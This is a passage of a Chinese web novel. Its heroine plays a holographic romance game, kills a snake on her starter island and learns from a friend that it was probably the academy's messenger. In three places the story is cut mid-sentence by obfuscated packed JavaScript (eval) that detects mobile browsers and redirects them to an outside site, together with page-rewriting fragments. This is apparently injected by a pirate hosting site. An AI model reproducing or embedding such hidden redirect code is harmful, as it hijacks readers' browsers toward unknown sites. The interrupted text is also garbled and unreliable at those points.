总之，恋不恋爱的先放一边，因为怕痛所以全点防御力——也没有那么极端，但为了不在接下来可能的战斗中吃瘪，挽星决定采用自己在冒险类游戏中的惯常做法：压等级、苟在新手村持续发育。 也就是，暂时放弃所有向外探索的机会，在自己的出生点海岛上，利用现有资源使劲儿提高数值。 古有炼气十万年，如今挽星也目标明确，打算把自己炼成数值怪再堂堂出山。 等我从新手村出关那天，一定地动山摇、一拳超人、游戏体验拉满。 ——天胡开局，我可真是个玩游戏的天才！挽星美滋滋地想。 11. 意外触发战斗 “晚星，今天也继续待在岛上吗？” 快进掉半天的环岛游，一睁眼挽星已经回到自己在岛上的住处，韩锦安依然严丝合缝地套着西装三件套，语气温柔，一边给挽星绑辫子一边确认行程。 韩惠琳俨然符合挽星对女强人+老钱妈妈的全部幻想，在女儿购置的新资产海岛没待上多久就飞走了；处理自己繁忙事务的间隙，时不时打个视频回来，表扬一下挽星最近踏实安分，比她朋友满世界闯祸惹事的小孩好多了。 游戏的世界是反馈高效的简单模式，完成任务就能拿到奖励，而在《闪亮恋心》中，还有附加的奖励：身边的所有人简直能找出一万种方式来夸自己。 挽星一边冷静地觉得“都是假的”，一边又忍不住沉迷其中。 情绪价值，恐怖如斯。 相比韩惠琳，她的弟弟、挽星的小舅舅韩锦安，要显得更“胸无大志”一点，虽然每天也要处理不少家族事务，但主要是对内的运营和管理，大多也不需要现场出席，因此仍然留在岛上。 眼下这片小天地，从建筑布局到航运路线，都是挽星跟韩锦安一点点商量确定下来的，她还给小岛起了自己的名字，叫“星岛”。 虽然在背景中是“晚星”的第20个小岛，但对于挽星来说是实打实的第一次，还是很有仪式感的。 这样连日相处下来，挽星已经跟自己这位便宜舅舅混得关系很好了。 原本韩锦安就是要帮助挽星补全买岛的流程，处理相关的一系列手续。只是不知道是单纯的极致细节怪或者其他原因，这部分完全还原了现实手续的繁琐，让挽星一度都不太想当“有钱人”了。 “哎，说到底我就算学习这种知识，在现实里也没有用的上的地方……这么看来还不如选点实用的身份，学习运营煎饼果子摊什么的……” “不对不对，都玩游戏了为什么还要这么苦，就不能不学了、不功利了，放下一切先享受嘛？” 挽星连忙摇摇头，制止了自己这种“没出息”的想法。 但此时的她忘记了身后还有个韩锦安，并且还握着自己的一大把头发，这一动，拉扯的痛感顿时顺着头皮忠实地传递到挽星的感知神经，尖锐的程度让她感觉应该还断了好几根。 “——哎哟！” 韩锦安连忙松开手， “晚星！没事吧？” 他单膝跪地，绕到挽星面前，十分关切地道， “抱歉，我没控制好力道。” “啊没事没事，是我自己乱动……” 挽星一边倒吸凉气一边摆着手，示意自己无碍。 不过是一件再小不过的事，但韩锦安还是立刻向挽星道了歉，停下一切行动，用所有的注意力观察挽星是否有感到不适。 清晨的阳光恰到好处地透过白纱窗帘洒在地板上，将梳妆台前一坐一跪的两人的身影拉长。 挽星穿着简单的家居服。系统限制，现在一共就那么几身基础搭配可以穿。进入后台系统的时候，她常常眼馋地反复查看那几个暂时还空着的衣橱。 希望以后出的新衣服可以提供氪金以外的获取渠道……挽星在心里祈祷。 不过当下，简单的着装并没有影响到挽星高级的人设，也不会缩减长辈的关心。韩锦安顶着一张相较于长辈身份颇显年轻的脸，心疼地揉了揉挽星脑袋，随后大手一挥说算了，还梳什么头，整个岛都是咱家的，出去裸奔也没人敢说什么。 “那还是不了吧、要奔你自己奔！”挽星双手护胸大喊。 见她能正常跟着玩梗，韩锦安才觉得挽星是真没生气，总算安下心，又打内线安排上精油SPA护理护发一整个大全套，立志要把被扯掉的几根毛给补回来。 挽星眨巴着眼，与锦安双目相对，心想此人这个性格，实在是细心贤惠，温柔小意，作为新手开局引导的NPC真是再适合不过了。 “小舅舅，嘿嘿，”挽星傻笑，“你不像小舅舅，像妈妈。” 韩锦安无奈， “跟性别没有关系，这些事，关心你的人自然会做。” 随后他又像是想起什么，开口道， “之前在宴会上，你问我，我们是什么关系……” “——那会是我还没睡醒！” 挽星连忙打断锦安，指天指地掩饰自己之前的提问失误。 “在我心里，你永远都是我最好、最亲的小舅舅，长舅为母，我们的甥舅关系密不可分，任何离间我们的小人都不会有好下场的！” 像这样没有爹味没有登味，零花钱随手一发就是无金额上限的黑卡，能用自己的“人生经验”开导你，还会帮你梳漂亮发型的长辈，在纸片人里都算稀少。 “你……” 韩锦安明显被震住了， “……说的这什么乱七八糟的。” 他好像还有什么话想说，但最后也没说，只是带着又好气又好笑的表情再次揉了揉挽星毛绒绒、乱糟糟的脑袋，抬脚出了房门。 “昨天你说想了解当地的本土音乐，人已经请到了，一会你收拾好，也过来乐器厅吧。” 挽星笑嘻嘻地点头，起身准备换衣服出门，却在屋内安静下来的间隙、听见窗边好像有什么窸窸窣窣的动静。 考虑真实的地理环境，一个高温、潮湿、多雨的热带海洋小岛上，出现什么生物都不奇怪，就算是世界上最顶级的安保和家政服务团队，也没办法彻底清除它们的踪迹。 但在这些叫得出、叫不出名字的恼人的小东西之中，能够毫无声息潜入人类居所，隐蔽身形直到外界环境对自己有利才有所动作，智力与危险性齐备的，大概率就是—— 蛇。 当挽星屏息凝神，站起身谨慎地往发出声音的地方看去，只见一条目测全长在一米以上的蛇，从头到尾缠着金红相间的环形花纹，沿着反复弯折的蜿蜒痕迹、从棕榈树和低矮草丛中探身钻出。 它距挽星的直线距离只有那么一丁点，在落地窗外，一下一下地敲击玻璃和墙壁交接的边缘，很明显是在试探着想要进到屋内。 如果是在现实中，就算挽星并不是特别怕蛇，猝不及防遇到这种场面，也一定会先吓一大跳，毕竟不是专业人士，谁也不知道面对这条蛇有没有毒，攻击性强不强，一个不小心搞不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317859|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好小命都会交代在今天。 可这是闪亮恋心的世界，不存在真正的死亡，甚至这也不是那种死了会爆装备、掉经验的，有死亡惩罚的游戏。大世界遇到打不过的怪，大不了复活点重生，下次看到绕路走。 最重要的、也是此刻让挽星不仅不心生畏惧，反而相当激动的，是她第一眼看见这条蛇的时候，在它的头顶看见了熟悉的名牌提示。 【环纹岛蛇】。 以及虽然一闪而过，却确实被挽星捕捉到了的，名牌下方的细长的一根横条。 ——血条！ 俗话说得好，在冒险类游戏中，只要敢亮出血条，就算是神也杀给你看。 而挽星猫在新手村这么长时间，每天靠各种活动项目培养属性，光体质这一项已经从初始的2点增长到了喜人的90多点，现在也正是想找个小野怪来练练手的时候。 “还以为这个岛上就没有怪呢，原来是随机刷新……” 挽星暗自揣测，以自己现在的实力与这条小蛇对比，理论上应该可以轻松拿下。 韩锦安前脚刚离开不久，酒店里也随时有一大波服务人员来回巡逻，按正常逻辑，只要她开口呼救，大概率并不需要战斗，就可以直接将蛇赶走。 但挽星想要先自己试试看。 总不能永远靠别人帮忙打怪吧？要不然努力升级、升属性的意义是什么？ 而且自己都还没体验过在全息游戏里亲身战斗的感觉呢。 当全息游戏技术引入战斗系统，个人真实的战斗能力比起以往在屏幕前操作，会天然占有更大的比重：如果你在现实中就是一名武术冠军、特警，那在全息游戏里，哪怕拿着一级白板号，也完全可以一命通关，杀穿boss。 可惜，大部分人都只是普通的体格、普通的反应能力，在现实生活中连架都没打过。在这种情况下，全息游戏的开发团队为了补全战斗体验，会通过属性、装备，以及技能系统，赋予玩家半自动到全自动的战斗能力。 在一些战斗为主的全息游戏里，满配的账号，只需要心念一动，就能劈山裂海，毁灭一颗星球也都能轻易做到。 不过新手村的挽星，目前除了部分属性稍微有所增长，其他部分跟白板号也没有什么区别，不仅没有装备可穿，后台的武器那栏也是空着的。 她倒是想过要借助自己的身份搞些足够强劲的武器，可惜被韩锦安毫不留情地否决。 早知道就不跟他说了。挽星遗憾地想。 “要是现在有把枪……” 她目光紧紧跟随着那条金灿灿的软体动物，大气都不敢出，同时眼角余光在梳妆台上快速巡回，试图找出什么能用的武器。 而金红的环纹岛蛇也在此时注意到了站在角落的人类。 原本整个匍匐贴地爬行的蛇像掉帧一样静止了一下，随后微微抬起了三角形的头，正面对着挽星，隔着清透如无物的玻璃与她对视。 就是这个时候！ 眼神对上的瞬间，挽星使出平生洪荒之力，迅速抄起台面上的木梳，另一手推开落地窗，在大蛇有所反应之前，狠狠迎头痛击了下去！—— 12. 一条蛇两条蛇 打中了！ 直到手下传来切实的触感的那一刻，挽星在才真实体会到了在全息游戏中战斗的奇妙体验。 因为有属性的加成，进入战斗状态后，身体的敏捷度和力量感明显提升一个档次。挥拳下去的瞬间，挽星觉得周遭的时间流速都被放慢了。 视力能够准确捕捉到环纹蛇整个昂起身体、准备向自己扑来的瞬间，而手也能迅速跟上反应，精准而有力地砸过去。 挽星并不敢恋战，一击中、立刻往后跳了一大步，回到房间内，谨慎地死盯着对面。 ——砰！ 白烟混着一声闷响过后，挽星眼前闪过一道黄色的弹幕： 【你消灭了环纹岛蛇】 ……好耶？ 挽星目瞪口呆看看自己拿着梳子的手，又看看白烟散去后空空如也的角落，感觉自己就像是十年没下过山的绝世高手。 一直闷着头训练，没想到属性的差距已经拉得这么大。 “小样、连我一击都承受不住，桀桀桀——”她忍不住摇头晃脑，发出反派一样的笑声。 不过相对的，简单的战斗也没带来什么丰厚的奖励，挽星第一时间点进后台查看自己的属性变化，结果竟然只有角色等级的经验值增加了一些，任何额外的属性增长和奖励都没有。 战斗现场似乎也没留下什么，不管是血迹或是尸骸，卧室外静悄悄的，一丝微风从半开的窗门吹进来，就好像那条蛇从一开始就没有出现过一样。 挽星又看看手中的梳子，同样干干净净，没有沾上血迹或者其他污迹。 看来这就是《闪亮恋心》的战斗形式了，一旦战斗胜利，小怪就会“化成一缕轻烟”立刻消失。 或许是担心过于真实血腥的场面让玩家产生不适吧？毕竟这个游戏的重点也不是在打怪上…… 但不管怎么说，作为游戏里的第一场战斗，奖励也有点太抠搜了……挽星在心里狠狠吐槽，然而刚想到这里，眼角余光突然瞥见窗落地窗外、更深的草丛里，似乎隐约正有什么东西的反光。 那个位置，不就是那条蛇最初往外爬出来的地方？ 挽星心中立刻又燃起希望。 搞不好不是掉落式的，而是宝箱式的奖励呢！ 众所周知，迷宫的设计里，除了直接掉落素材、金币的初等小怪，通常还会在贵重宝箱的周围，安排一两只用于看守的中等小怪。 如果在普通的大世界里，见到这种怪，玩家可能会掂量一下自己的能力，或者为了避免麻烦，直接绕着走。 可这种情况下，诱人的宝箱就在那里，如果想拿到，就必须具备一定的实力，非得打过那些看守怪才行。 难道这就是所谓的“柳暗花明又一村”？ 挽星摩拳擦掌、雀跃地推开门，准备迎接自己的“战利品”。 “——晚星？” 然而就在挽星离草丛只有一步之遥的时候，韩锦安因等待太久，特地折返回来查看情况。 房门还是韩锦安临走前自己带上的，没锁，一敲就开了。 于是他见到穿戴整齐的挽星，抱着梳子，扎着马步，满脸诡异的笑容，正准备向外走。 “呃……” 挽星张了张嘴，犹豫该不该、该怎么解释。 幸好韩锦安的反应比她更快，两三步抢上前将门关上，拧着眉，略显紧张地望着挽星， “你卧室的落地窗是装饰性的，这门应该很久之前就被封死了，怎么会又能打开？” “啊？” 挽星没想到还有这样的设定，但仔细一想除了刚才，自己平时确实没开过卧室向外的这扇门。 在游戏里第一次出现的生物想要进到自己身边，本来不存在的通道突然能够打开……这两者难道有什么联系吗？ 但既然韩锦安这么说了，挽星也不方便非犟着要现在出去，只能摸头看天地装傻， “哎呀，也不知道为什么，我碰了一下突然就开了，这不刚想出去看看，你就回来了……” 然而越是这么说，挽星的潜意识里越是觉得那草丛里一定有东西。 就像没钓起来的那条鱼会在钓鱼佬的记忆里越长越大，刚才还不确定是不是真的看到了闪光，现在的挽星已经在心里笃定那就是宝箱的一角了。 韩锦安检查着门窗四周，没发现什么异样。 毕竟怪都已经被打死了。 “……可能是过于潮湿加速了老化，也不排除有人为破坏，我马上叫人再来详细检查，” 他仔仔细细看了一圈，初步下了结论，转头回来，表情还是很严肃， “现在是雨季，海岛上会出现一些平时不怎么活动的动物，其中一部分，相当危险。” 比如环纹岛蛇。挽星在心里悄悄接话。 “不管什么时候，都尽量不要在一个人的情况下外出，碰到这种异常的状况，更要第一时间通知我……” “知道啦小舅舅，我这不是没出去嘛……咱们快走吧，再下去乐器的老师都要等急了——” 挽星面不改色地扯淡，心里还牢牢惦记着那个薛定谔的宝箱，想着先把人哄走，自己等没人的时候，再从别的地方绕到外围草丛。 “人家一早就在等了，你啊……” 韩锦安完全听得出她话里的敷衍，无可奈何地摇了摇头，跟在挽星身后走出房门，默默计划着先让人把屋子加固个百八十遍的。 两人一同往乐器厅走。 韩家大小姐设定上应该是很喜欢音乐，即使在海岛上也建起了装备相当专业的乐器室，还养着自己专属的交响乐团，按照韩锦安的介绍，其中每一位走出去都是响当当的大师级别。 在现实里，挽星自己虽然也会没事吼两嗓子，但一个普通人的生活轨迹，注定没有太多机会和各式各样的乐器或者乐种打交道。 如果游戏生成的设定是内心的投射，那难道是在说我在音乐上其实很有天赋？ 挽星正漫无目的地想着，却听到前方传来不正常的喧闹声。 “怎么回事？” 韩锦安皱眉，上前两步。 挽星循着动静朝乐器厅内望去，只见屋内的人似乎都在跑动，有几个看上去像是请来的本地乐师，也纷纷把自己的乐器抱在怀里，似乎在躲避着地上的什么东西。 躲避、地面…… 挽星心里突然有种不详的预感。 而传来的回答快速印证了她的猜想， “蛇！乐器厅里有蛇！” 又是蛇！ 跟前一条环纹岛蛇战斗的触感还留在手上，挽星垂在身侧的手悄悄握起拳。 先是出现在卧室外，然后立刻在乐器厅，这是游戏安排的突发情节？还是又出现了什么bug？这里的蛇会是什么品种？是和刚才一样的可战斗对象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317860|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？ 还有一个问题，如果这里的蛇跟之前的环纹岛蛇一样，那在韩锦安或者其他人的面前战斗，他们会觉得奇怪吗？ 不过这点其实是挽星一时间脑回路没转过来。 全息游戏也是游戏，战斗和其他活动一样，都已经写入了世界观，不管是血腥的、遍地尸体的表现形式，还是像现在《闪亮恋心》采用的非常温和的方式，在游戏中都会很自然地被NPC接受。 挽星会担心自己的行为在其他人眼中显得异常，主要还是因为沉浸感太强，已经和现实混了起来。 韩锦安在听到有蛇的第一时间就停下了脚步，将挽星牢牢拦在身后。 “怎么会突然有蛇？从哪里进来的？有多少条？” 他一边对姗姗来迟的管家连声发问，一边协助指挥疏散人群。 一边还像背后长了眼睛一样准确地将跃跃欲试的挽星按回身后。 “太危险了，晚星，学乐器的事咱们改天吧？让管家先陪你回去。” 挽星欲言又止，很想说能徒手锤蛇的、真正危险的其实就站在这里…… 她觉得现在的一切有点巧合过头，并不想直接离开，好歹要看到屋内情况。可她一时间又想不到什么好的理由能说服韩锦安。 幸好此时管家适时地插了嘴。他刚安顿完人员，站在大门紧闭的乐器厅门口擦着汗，向韩锦安回复情况。 说这次情况十分异常，岛上从没见过这个大小、这种花纹的蛇。本来这也不是个产蛇的岛，最近虽然雨季湿润，但也没到蛇虫鼠蚁集体出逃的时候，更何况蛇类天性问题，不应该会主动入侵人类的居所…… 三言两语间，挽星已经几乎能够确定，出现在乐器厅内的，正是跟刚才自己卧室外一样的金红色环纹岛蛇。 而且此时跑进厅内的蛇不止一条，而是至少有三四条。 挽星简直一头雾水，深切怀疑已经进入了某个任务的流程中，自己却不知道。 挽星的角色后台任务页面现在还空空如也，那是因为到现在还没有升级的缘故。而没升级的原因不是经验值不够，而是因为挽星到现在还没有完成最初的探索任务：离开过出生点岛屿，去到其他地图。 像这样卡着不升级，有一定的好处，那就是无论怪的强度、还是探索的难度，都会被锁定在当前比较低的等级的水平，一切都是“简单模式”。 多出来的经验值也不会浪费，而是会保持溢出的状态，在完成特定的升级任务后，一口气加回来，迅速提高等级。 挽星本以为这样做没什么缺点，没想到现在的情况就很好地反映出了问题：因为等级不够开不了任务，而又因为或者是属性够了、或者是时间到了，强制进入了任务，导致完全失去任务指引，两眼一抹黑。 既然知道了环纹岛蛇大概率是任务线索，来都来了，绝对没有在任务门前打道回府的道理。 可是乐器厅的门已经关了，身边还跟着一个一脸紧张兮兮的韩锦安，到底应该怎么进去接触到怪呢？ 挽星面上没什么表情，心里的小人已经急得团团转。 “嘀！——嘀！——” 突然之间，挽星感到左手手腕上传来熟悉的锐利的刺痛，同时有急促的警铃声，从似乎很遥远的地方响起。 挽星一阵恍惚，好不容易反应过来这是游戏外的强制呼唤功能。 ——楚潇冉！ 13. 游戏里的问题 开服日第一次进入游戏惨遭bug，给挽星留下了强烈的心理阴影，甚至一度不想再碰《闪亮恋心》。而为了说服挽星安心陪自己渣游戏，潇冉在这一次进入游戏前再三保证，到了一定时间就会强制呼唤挽星，绝不会重蹈上一次的覆辙。 这个强制呼唤功能其实是游戏仓自带的紧急求生系统中的一个环节，可以由外部唤起；如果游戏仓监测到玩家在仓内玩游戏时，生理功能处于非常异常的状态，也会主动提醒玩家，甚至强制弹出，同时会联动向外呼出报警。 全息游戏作为一款已经实现大规模社会化商用的娱乐形式，发展到现在，尽管唱衰的媒体和迫切希望孩子远离游戏的家长们一再夸大潜在隐患，实际上它的安全措施已经相对比较完善了。 也正因此，在前一次遇到“未解之谜”的时候，挽星和潇冉都是猝不及防、毫无头绪。 而这一次，虽然挽星已经成功进入游戏，但游戏仓外的潇冉还并不知道，因此会守着时间，在约定好的时候疯狂呼唤挽星。 “如果不回应，冉冉应该会顺理成章地以为我再次遇到意外，搞不好还会直接报警吧？” 挽星这样想着，顾不上乱成一锅粥的游戏中的小岛世界，按下确认键，响应了潇冉的呼唤。 几乎是触碰光屏按钮的一瞬间，挽星就进入了游戏短暂而特别的“脱离”模式：眼前的人、事、物，开始超级减速，声音、色彩，属于“晚星”的“星岛”的一切，都以一种奇异的方式从挽星的对应感官中褪去。 大厅内，管家还在韩锦安身边打转，喋喋不休地说着什么，自家小舅舅神情严肃，侧着头反复跟他确认周边情况；侍者们步履不停，按照指示匆匆地往来应对；那几个本岛上的乐器师抱着各自的家当惊魂未定地站在角落…… 他们似乎仍然真实存在和行动着，只是随着角色“晚星”悄无声息地抽离全部存在感，这个世界的时间也几乎陷入静止的定格。 与此同时，另一种触觉、视觉和听觉，逐渐覆盖了挽星的感官： 她开始慢慢感到全息头盔沉沉地箍在脑袋上，腰背下方是游戏仓贴合人体工学的起伏弧度，而手掌被整个包裹在神经采集的手套中，此时已经有些僵硬。 虽然游戏仓的制作商们尽一切力量缓解玩家的“全息后遗症”，但毕竟真实的身体是在全封闭的仓体内几乎一动不动地待上三四个小时、甚至更长的时间。越是追求真实、完美的感官体验的游戏，脱离的时候玩家的对比也自然会越发明显。 据说一些更贵的游戏仓能够通过扩大可活动范围、调整仓内空气、增加微电流按摩等方式，物理性地进行调节，但挽星购置的“性价比之选”、超轻基本款显然没有添置这些额外功能。 而《闪亮恋心》在这方面，也是通过技术的方式做出了自己的努力：用慢动作渐退渐进的方式，让玩家的意识逐步归位，接受“从游戏中回到现实”的概念。 因此，与上一次惊恐退出的状态不同，再次经历长时间的游戏仓，回到现实中的挽星，情绪并没有那么激烈。 她只是愣愣地从打开的仓门里坐起来，面对楚潇冉焦急的神情，伸出手拍了拍自己的脸颊。 “……这个游戏，太强了！” 深呼吸几次后，好不容易吐出这么一句。 潇冉总算松了口气，大声奸笑地拍着她的后背， “——我说的吧！” “我就知道，只要不出bug，你正常玩上了这个游戏，都会喜欢的！” 再三确认了这一次挽星是通过正常的方式正常地进入了游戏，潇冉长舒一口气，挽着她的手臂把挽星拖出游戏仓，还很狗腿地拿来了奶茶和小零食。 显然是因为终于把好朋友拖来一起渣游戏，可以毫无顾忌地剧透和讨论了。 “你不知道，我手都放在警报按钮边上了，”潇冉煞有介事， “要是再晚一秒没反应，现在你可能就连人带仓被搬去关氏总部售后了！” 关氏集团正是挽星购置的游戏仓的出品方，也是如今帝国最大的游戏设备类制造商，靠庞大的销售网络构建了无人可比的规模经济，以一己之力卷低游戏仓价格，这才让挽星这样的普通人也能玩上全息游戏。 当然，这种做法不仅摊薄自己的利润，更让竞争对手无路可走，被无数同行骂得要死，甚至出现过联合抵制、对家老板下场、买通玩家卧底陷害……等等奇妙又阴毒的商战手段。 不过这些烦恼只属于大洋对岸某个喜欢长期蹲守地下室的红毛宅男，与挽星和潇冉毫无关系。 此时此刻，她们两人手捧着买一送一的“耶椰爆珠马蹄鲜果茶”，面前堆了炸鸡和卤鸭脖，正准备就各自的游戏体验大聊特聊。 “快快快，” 潇冉嘴里塞得鼓鼓囊囊的，一边催着挽星， “作为正儿八经玩的第一个全息游戏，让我们有请宇宙巨星挽星小姐做出最宝贵的评价和指导意见，所有单位注意，热烈欢迎——” 她用两根鸭脖激烈敲击，伪装海豹鼓掌，挽星也十分配合，清了清嗓子，用奶茶杯假装话筒，捏着并不存在的裙角站起来，声情并茂地做作表演， “首先，我要感谢我最好的、狐朋狗友，楚潇冉小姐，感谢她为了逃避画画，不停地坚持催我入坑——” 潇冉爆笑，差点把嘴里的奶茶喷出去，挽星立刻身手矫健地往后跳开一步，很明显已经培养出条件反射。 她在地毯上原地转了个圈，用上了游戏时候大小姐“晚星”的姿态，但或许是模型的参数与现实不同，现在的挽星做起同样的动作，少了一分轻盈，反而有点笨拙，还差点崴着自己的脚。 趁潇冉再次嘲笑出声之前，挽星连忙抢先开口， “托潇冉小姐的福，让我玩出一个好开头，银河首富独生女，无限金币随便刷，体质也快点满了……” 楚潇冉好不容易把那口奶茶咽下去，拍着大腿打断她， “别说这些有的没的，要那么多金币有什么用？体质更是鸡肋属性，你的灵力值呢？学分呢？” “最重要的，你的攻略进度呢？” 啊…… 最怕的是空气突然安静。 潇冉跟挽星大眼瞪小眼，过了好一阵，她才砰地一拍挽星大腿，把她拍得嗷了一声， “你不是玩儿了快两个小时了吗？怎么好像还是什么都不知道！” “不是你说游戏自由度很高，所以开头更要谨慎……” 挽星也很委屈，简单地把自己在游戏里做的事情讲了一遍， “像是那——么大的岛，我买了20个！” 她眼睛瞪得圆圆的，挥着炸鸡腿在半空中比划，试图让潇冉感同身受自己短暂经历到的纸醉金迷的感觉， “还有私人游艇、大飞机！我都还没体验完呢！” 潇冉看上去都快无语了， “一直待在出生点……你这不是连主线都没进？” 挽星这时才意识到， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16317861|183103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来出生点背景可调范围大，是因为这对于主线剧情来说，并不是很重要的东西。 “10级左右就会自动触发进灵修学院的主线剧情，在这之前要多提高灵力值，多增加攻略对象的缘值，搞个好开局，我不是都跟你说了嘛！” “我听了啊！但我以为这个灵力值只是你自己剧情线里有的东西，我们之间是不一样的——” “啊啊啊啊——” 潇冉痛心疾首，潇冉抱头痛呼， “那你不觉得首富大小姐日常活动只提升体质这件事也很奇怪吗？灵力值，这才是前期最重要的东西！” 她说着说着掏出手机，给挽星看柘木游官方论坛上的一个榜单，上面除了玩家的名字和头像，其他信息一概没有，但榜单的讨论区却显得异常激烈，不停地刷出新的消息。 “你看，这是柘木游官方排的前百名天赋榜单，虽然没有明确公开分数的计算公式，但是排在前面的不少玩家都主动展示了自己的面板，灵力值占了很高的比重。” “……现在大家都在上头期，榜单半小时一刷新，几乎每次都有很大的变化，我上次还能排到第35……” 潇冉一张小脸绷得紧紧的，在页面上反复滑动，寻找自己的名字， “——啊！果然又往下掉了……” 挽星的注意力也被这个榜单吸引，凑过去读最新的评论， “‘没人觉得第一有问题吗？下面的排名一直在换，只有她那么稳，还从来不出来说话，这一看就是官方捏的假号吧！’唔，我来看看，第一名是……阿白白，啊，好可爱的头像。” 挽星指着排在第一的名字，跟潇冉讨论起来。 “不不不，我觉得官方目前这个阶段，应该不会这么高调，反而我感觉有问题的，是这个——” 潇冉神神秘秘地将页面拉到最尾端，手指着第100名，头像是个红毛犬科动物，看不出是狐狸还是狗， “这个一串英文乱码的id，从我看到这个排名开始，就一直在最后一两名，从来没有掉出去过，” 她睁大眼睛，盯着屏幕振振有词， “这个号一定是官方拿来测水平线的！” 没有为排名伤感太久，潇冉快速地反应过来，把话题又拉回到挽星的游戏进度上， “没事，还有机会，”挽星又自己整理了一下情报，发现自己至少做对了一件事， “我一直卡着没有升级，这样的话，只要下次进游戏之后狂做主线，加快进度，多少能补上一点。” 潇冉想了想，赞同地点了点头， “只要在10级之前累积够基本的灵力值，在学院的日子应该都不会太难过，不过你接下来真的就要步步为营，不能浪费一点时间了，” 她拍着挽星的肩膀安慰道， “没事，有我呢！” 不过遗憾的是，这时两人同时搞错了一件事：触发强制主线的要素并不是“升到10级”，而是“经验值累积到10级”。 前期玩家们因为都是乖乖升级，所以并没有发现这两者的不同，而挽星因为极限压等级，累积的经验值已经超过了10级，可她自己并不知道。 于是当挽星想起来，向潇冉询问是不是有一个关于突然出现的蛇的任务， “蛇？出生点怎么会突然有可攻击的蛇……” 她反应了一会，突然露出惊恐的表情， “你不会是，把灵修学院派来通知你入学的信使给杀了吧？” 14. 信使·野怪·意外重逢 灵修学院，以培养社会化修真人才，促进五灵六界共同繁荣为宗旨，在游戏的背景设定中是一所大隐于市、地位超然的都市修仙学校。 而入学灵修学院是《闪亮恋心》前期的大主线任务：来自不同家世、不同背景、不同身份的玩家，在觉醒灵力修炼的潜能后，被灵修学院发现，招揽入学。 以上这些，挽星从之前的宣传视频、以及潇冉的解说中断断续续有所了解。 “……因为我说了我的出生点是修真世家，结果你以为灵力设定、还有之后的灵修学院，全都都是我个人剧情的延展分支，” 一番交流过后，潇冉已经完全搞清楚了两人的认知分歧所在， “而你的起始背景就是有钱豪门，看起来和灵力、修炼毫无关系，所以认为你自己的剧情线是另一个方向，” “如果每个人都有一整条定制的主线剧情，那跟做了无数个新游戏有什么区别？你未免也太看得起柘木游的剧情策划啦！” “还不是你们先把《闪亮恋心》的自由度吹得天上有地下无……”挽星愤愤啃鸭脖，试图反驳。 不过仔细想来，如果大家的剧情都毫无交集，那相对的，也就很难引起共鸣和集体话题的讨论，对社区氛围、乃至游戏本体来说其实是不利的。 就像现实中，每个人的人生轨迹不同，可也有些事是所有人或多或少都要经历的：生老病死、念书工作……遇上集体性、时代性的事件，小到堵车，大到战争，仅凭个人的力量也无法避免。 而挽星这边也并非与灵力无缘，只是因为任务卡主，没有向后推进而已。 挽星想起了自己后台那些上锁、未显示的属性，已经看似空空如也，实际上搞不好已经堆起来了的任务栏…… 即使知道要赢在起点，也得有明确的努力方向才行啊…… “看来接下来还是得乖乖按照顺序升级、走剧情，要不然再发生类似的事，沉没成本就更大了。”挽星叹气道。 “等一下，按这么说，你的出生背景才是天胡开局——”她后知后觉， “其他人都可能走弯路，可你本来就是古老的修真世家，竟然还给搞成了家主……” “你这都不用去灵修学院学习，可以直接坐院长席了吧！” “哎呀没有没有，” 潇冉假装谦虚地摆手，但略显骄傲的挺胸还是出卖了她， “不管设定多厉害，游戏里的角色起始属性都是一样的，大家都是从1点、2点的灵力值慢慢往上练，我也只是运气好、分到这个出生点沾了光，前期灵力积累比较快而已。要不然怎么排得上榜？” “而且我那个家主当得一言难尽，有很多隐情的！以后有时间再慢慢跟你说……现在的当务之急！——” 潇冉突然站起身，猛地一拍桌，气势恢宏， “是解决你的入学问题！” 挽星被她吓了一大跳，本能地往后缩了缩，想起了这场紧急讨论的源头。 按照正常剧情，角色累积到10级的经验值左右，就会被灵修学院的监控检测到异动，然后发出入学邀请。 而运送入学通知书的…… “唔，按照目前大家的反馈，一共有五种小动物：狐狸、黄鼠狼、刺猬、老鼠和蛇，一般来说，送信的小动物种类跟角色的相性会比较高，入学之后的灵宠也大概率是同样的类型。” “顺便一提我的是一只超可爱的小赤狐，我给她起名叫兰兰。” ……挽星已经懒得吐槽她的起名风格了。 这么看来，这个学院动用的还五大家仙体系，挽星认真思考。 虽然合理，但总觉得这个设定有点眼熟…… “同样题材的作品嘛，套路总是会有点相似的。”潇冉大大咧咧， “你的情况，既然是海岛，出现狐狸、黄鼠狼或者刺猬就不太合理了，应该是在灰大仙和柳大仙中随机选了一种。” 挽星脑子里立刻浮现出那条出现在自己卧室门外、颜色喜庆的环纹岛蛇。 